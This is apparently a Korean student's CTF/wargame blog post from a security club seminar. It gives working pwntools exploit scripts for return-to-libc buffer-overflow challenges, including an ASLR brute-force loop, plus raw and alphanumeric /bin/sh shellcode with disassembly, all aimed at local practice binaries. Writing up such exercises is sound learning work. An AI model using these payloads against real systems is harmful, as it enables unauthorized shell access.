CyKor week4

soon_haari·2022년 7월 2일
0

cykor_seminar

목록 보기
1/6

Load of RTL

gremlin, cobolt, goblin은 모두 예제에 포함된 문제였다.
orc는 해결하였지만, wolfman은 어떻게 해야 할지 감이 잡히지 않았다.

gremlin

exploit.py

from pwn import *

p = process("./gremlin")

system_plt = 0x80490f0
binsh = 0x804c034

p.recvuntil(b"You can use write, read, system and /bin/sh\n")
payload = b'A'*0x44
payload += b'B'*0x4
payload += p32(system_plt)
payload += b'C'*0x4
payload += p32(binsh)
p.send(payload)

p.interactive()

system_plt의 역할을 잘 알 수 있는 문제였다.

ebp-0x44에 buf가 있어 0x44만큼을 채우고, sfp에 0x4, 그 위에 system_plt를 통해 system을 실행시킨다.

여기서 매개변수가 들어가야 하는 위치를 깨달을 수 있다.

cobolt

exploit.py

from pwn import *

p = process("./cobolt")

pop_rdi = 0x401353
binsh = 0x404060
system_plt = 0x4010b0

p.recvuntil(b"You can use write, read, system and /bin/sh\n")

payload = b'A'*0x40
payload += b'B'*0x8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rdi+1)
payload += p64(system_plt)
p.send(payload)

p.interactive()

pop_rdi+1을 이해하는 것은 굉장히 난이도가 높은 문제였다.

기본적으로 pop_rdi가 pop rdi ; ret인데, pop_rdi+1은 자동적으로 ret이 된다.

이를 추가하는 이유는 16바이트 align이라는 문제 때문이라고 한다.

## goblin
exploit.py

from pwn import *

p = process("./goblin")

pop_ret = 0x08049022
pop3_ret = 0x08049391
read_plt = 0x80490b0
system_plt = 0x80490e0
bss = 0x804c030 + 0x300
main = 0x80492f3


payload = b'A'*0x44
payload += b'B'*0x4

payload += p32(read_plt)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(system_plt)
payload += b'C'*0x4
payload += p32(bss)
p.send(payload)

# sleep(0.1)
p.send(b"/bin/sh\x00")

p.interactive()

bss의 개념을 이해하는데 조금 시간이 걸렸다.

bss는 기본적으로 미할당 지역이라고 하고, 그래서 비교적 자유롭게 스트링 등을 저장할 수 있는 것이다.

그런데 bss초반에는 stdin등의 중요한 변수가 위치하고 있다. 그렇기 때문에 0x300과 같이 조금 간격을 띄우고 값을 저장한다.

그 밖에도 이 문제는 함수를 두 개 실행하는 rtl_chaining기법을 사용한다. 함수를 두개 뿐만 아니라 훨씬 많이 사용할 수 있다는 것이 놀라웠다.

가끔씩 예상치 못한 오류 때문에 sleep(0.1)과 같은 방법으로 우회해야 하는 것이 귀찮았다.

orc

exploit.py

from pwn import *
pop_ret = 0x08049022
pop3_ret = 0x08049351

bss = 0x804c02c + 0x300
main = 0x80492aa
system = 0xf7e1b790
read_plt = 0x80490a0

while True:
    p = process("./orc")

    payload = b'A'*0x44
    payload += b'B'*0x4
    # bss영역에 /bin/sh 저장
    payload += p32(read_plt)

    payload += p32(pop3_ret)
    payload += p32(0)
    payload += p32(bss)
    payload += p32(8)
    # system 실행
    payload += p32(system)
    payload += b'C'*0x4
    payload += p32(bss)
    p.send(payload)
    sleep(0.1)
    p.send(b"/bin/sh\x00")

    try:
        p.sendline(b"id")
        if b"uid" in p.recvline():
            p.interactive()
        else:
            p.close()
    except:
        p.close()

이 문제는 예제의 Got Overwrite의 brute force 기법과 goblin에서 사용된 방법을 같이 이용하는 문제였다.

기본적으로는 goblin과 동일한 구조이지만, 32비트 이기 때문에 brute force를 통해 system plt가 아닌 그냥 system의 주소를 무작위로 맞출 수 있다.

gadget과 같은 경우는

gdb에서 elfheader을 통해 bss의 주소를 구하고, read_plt의 주소를 구할 수 있다. system의 주소는 b*main과 run 또는 start를 이용해 실행시킨 후 주소를 구할 수 있다.

wolfman의 정풀의 경우는 brute force를 사용하지 않는다고 들었다.

basic_rtl_1

exploit.py

from pwn import *

p = process("./basic_rtl_1")

system_plt = 0x8049130
name = 0x804c080

p.sendline(b"/bin/sh")


#command address is ebp-0x14
payload = b"A"*0x14+b"B"*4
payload += p32(system_plt)

payload += b"asdf"
payload += p32(name)


p.sendline(payload)

p.interactive()

이 문제는 name에 /bin/sh\x00이라는 string을 넣고 ret에 system을 넣어서 해결할 수 있는 문제이다.

간단히 해결할 수 있었고, 전역변수의 경우 gdb에서 info variables을 통해 모든 전역변수의 주소를 확인할 수 있다는 것을 처음 알았다.

shellcode_x64

exploit.py

from pwn import *

p = process("./shellcode_x64")

p.sendline(b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")

p.interactive()

"/bin/sh"를 실행하는 shellcode를 짜서 해결할 수 있는 문제이다.

이 문제의 훨씬 어려운 버전이 alphanumeric이었다.

alphanumeric

이 alphanumeric 문제는 shellcode를 짜되, shellcode를 구성하는 모든 문자들이 26+26+10개 중 하나여야 하는 문제였다.

0:  6a 30                   push   0x30
2:  31 34 64                xor    DWORD PTR [esp+eiz*2],esi
5:  33 34 64                xor    esi,DWORD PTR [esp+eiz*2]
8:  31 70 32                xor    DWORD PTR [eax+0x32],esi
b:  31 70 42                xor    DWORD PTR [eax+0x42],esi
e:  5a                      pop    edx
f:  56                      push   esi
10: 33 34 64                xor    esi,DWORD PTR [esp+eiz*2]
13: 4e                      dec    esi
14: 31 70 41                xor    DWORD PTR [eax+0x41],esi
17: 58                      pop    eax
18: 34 30                   xor    al,0x30
1a: 50                      push   eax
1b: 5a                      pop    edx
1c: 52                      push   edx
1d: 68 55 55 73 68          push   0x68735555
22: 58                      pop    eax
23: 66 35 7a 7a             xor    ax,0x7a7a
27: 50                      push   eax
28: 68 55 62 69 6e          push   0x6e696255
2d: 58                      pop    eax
2e: 34 7a                   xor    al,0x7a
30: 50                      push   eax
31: 54                      push   esp
32: 6b 6a 30 58             imul   ebp,DWORD PTR [edx+0x30],0x58
36: 34 30                   xor    al,0x30
38: 50                      push   eax
39: 53                      push   ebx
3a: 54                      push   esp
3b: 59                      pop    ecx
3c: 6a 4f                   push   0x4f
3e: 58                      pop    eax
3f: 34 44                   xor    al,0x44
41: 32                      .byte 0x32
42: 4f                      dec    edi

이것이 alphanumeric의 binsh shellcode였고, 이를 변환하면 다음과 같았다.

exploit.py

from pwn import *

p = process("./alphanumeric")

shellcode = "j014d34d1p21pBZV34dN1pAX40PZRhUUshXf5zzPhUbinX4zPTkj0X40PSTYjOX4D2O"
p.send(shellcode)

p.interactive()

not_isolated

이 문제는 푸는 것이 아니라 코드 해석하는 것 조차 하나의 목표였다ㅋㅋㅋ

결과적으로 하나의 셸코드를 작성하되 그 방식은 0은 push, 1은 add, 이러한 방식으로 11종류의 명령어가 존재한다.

처음에는 이렇게 shellcode를 만들어 stack에 넣어서 실행하는 방법이 있지 않을까 하는 생각을 했지만, NX가 켜져있는 것을 보고 좌절하였다.

그래도 개인적으로는 어셈블리 구조, 특히 rip의 역할을 더 잘 알게 되어 기분 좋았다.

profile
I'm such a good surfer

0개의 댓글